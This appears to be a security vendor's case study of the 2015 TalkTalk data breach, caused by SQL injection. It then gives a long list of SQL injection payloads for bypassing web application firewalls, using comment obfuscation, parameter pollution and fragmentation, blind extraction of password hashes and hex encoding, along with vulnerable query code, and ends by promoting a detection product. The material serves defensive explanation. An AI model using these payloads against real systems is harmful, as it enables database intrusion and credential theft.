2015 - TalkTalk Data Breach

£77 Million Estimated Cost

What Happened?

A cyber attack exploits vulnerabilities in three webpages which are operated by British telecommunications provider TalkTalk following its 2009 acquisition of the UK operations of Tiscali. The exploitation of this vulnerability allows access to an underlying database holding customers' personal data including names, addresses, dates of birth, phone numbers, email addresses and financial information.

The attacker accessed the personal data of 156,959 customers including their names, addresses, dates of birth, phone numbers and email addresses. In 15,656 cases, the attacker also had access to bank account details and sort codes. People whose data was taken would be distressed by concerns that their information had been further distributed. If the information was disclosed to untrustworthy third parties, then the attack would cause further distress and damage such as possible fraud in the future.

How the attack has happened?

TalkTalk took over Italian telecommunications company Tiscali in 2009, who were using a very old way of code communicating with the database. The database itself was not at fault, but the way the code talked to it.

This flaw meant cyber criminals could hack the database using a simple SQL injection.

After detailed investigation, TalkTalk failed to update Tiscali's web applications so this leaded to SQL injection vulnerability.

Nowadays most of the WAFs (Web Application Firewalls) can easily detect SQL injection attacks, there are ways to bypass WAFs with some manipulations.

SQL Injection Attacks Bypassing WAFs

These examples are taken from OWASP website. For more real life examples that ALISA detected, you can refer to our other documents.

- Request Normalization

The following request doesn't allow anyone to conduct an attack

```
/?id=1+union+select+1,2,3/*
```

If there is a corresponding vulnerability in the WAF, this request

will be successfully performed

```
/?id=1/*union*/union/*select*/select+1,2,3/*
```

After being processed by WAF, the request will become

```
index.php?id=1/*uni X on*/union/*sel X ect*/select+1,2,3/*
```

The given example works in case of cleaning of dangerous traffic, not in case of blocking the entire request or the attack source. Example Number (2) of a vulnerability in the function of request Normalization. • Similarly, the following request doesn't allow anyone to conduct an attack

```
/?id=1+union+select+1,2,3/*
```

If there is a corresponding vulnerability in the WAF, this request will be successfully performed

```
/?id=1+un/**/ion+sel/**/ect+1,2,3--
```

The SQL request will become

```
SELECT * from table where id =1 union select 1,2,3—
```

*Instead of construction /**/, any symbol sequence that WAF cuts off can be used (e.g., #####, %00). The given example works in case of excessive cleaning of incoming data (replacement of a regular expression with the empty string).*

- HTTP Parameter Pollution

The following request doesn't allow anyone to conduct an attack

```
/?id=1;select+1,2,3+from+users+where+id=1—
```

This request will be successfully performed using HPP

```
/?id=1;select+1&id=2,3+from+users+where+id=1--
```

Successful conduction of an HPP attack bypassing WAF depends on the environment of the application being attacked.

Vulnerable code

```
SQL=" select key from table where id= "+Request.QueryString("id")
```

This request is successfully performed using the HPP technique

```
/?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users
```

The SQL request becomes select key from table where

```
id=1/**/union/*,*/select/*,*/pwd/*,*/from/*,*/users
```

- Parameter Fragmentation

Vulnerable code example

```
Query("select * from table where a=".$_GET['a']." and b=".$_GET['b']);  Query("select * from t
able where a=".$_GET['a']." and b=".$_GET['b']." limit".$_GET['c']);
```

The following request doesn't allow anyone to conduct an attack

```
/?a=1+union+select+1,2/*
```

These requests may be successfully performed using HPF

```
/?a=1+union/*&b=*/select+1,2  /?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--
```

The SQL requests become

```
select * from table where a=1 union/* and b=*/select 1,2  select * from table where a=1 unio
n/* and b=*/select 1,pass/* limit */from users--
```

- Blind SQL Injection

Using logical requests AND/OR • The following requests allow one to conduct a successful attack for many WAFs

```
/?id=1+OR+0x50=0x50  /?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))
=74
```

Negation and inequality signs (!=, <>, <, >) can be used instead of the equality one – It is amazing, but many WAFs miss it!

- Signature Bypass

The following request gets to WAF signature /?id=1+union+(select+1,2+from+users) But sometimes, the signatures used can be bypassed /?id=1+union+(select+'xz'from+xxx)

```
/?id=(1)union(select(1),mid(hash,1,32)from(users)) /?id=1+union+(select'1',concat(login,hash)f
rom+users) /?id=(1)union(((((((select(1),hex(hash)from(users))))))))  /?id=(1)or(0x50=0x50)
```

- Buffer Overflow / Firewall Crash

```
http://www.site.com/index.php?page_id=-15+and+(select 1)=(Select 0xAA[..(add about 1000
"A")..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4....
```

You can test if the WAF can be crashed by typing:

```
?page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nn
aa*/+1,2,3,4....
```

If you get a 500, you can exploit it using the Buffer Overflow Method.

- Replace Characters with their HEX Values

```
http://www.site.com/index.php?page_id=-15 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4....
```

(which means “union select”)

There are more ways to bypass misconfigured WAFs. Or even WAFs are updated, attackers can manipulate HTTP packets to bypass WAFs.

How ALISA could help?

ALISA can understand if there is a deviation or anomaly in every single header and every single query string, URL, URI.

Most applications does not allow any SQL query in HTTP request. As soon as ALISA sees the request alike in examples, those will deviate from what ALISA has learned examining the requests coming to application and these will generate alerts in ALISA with the necessary example signatures that can be used with WAFs.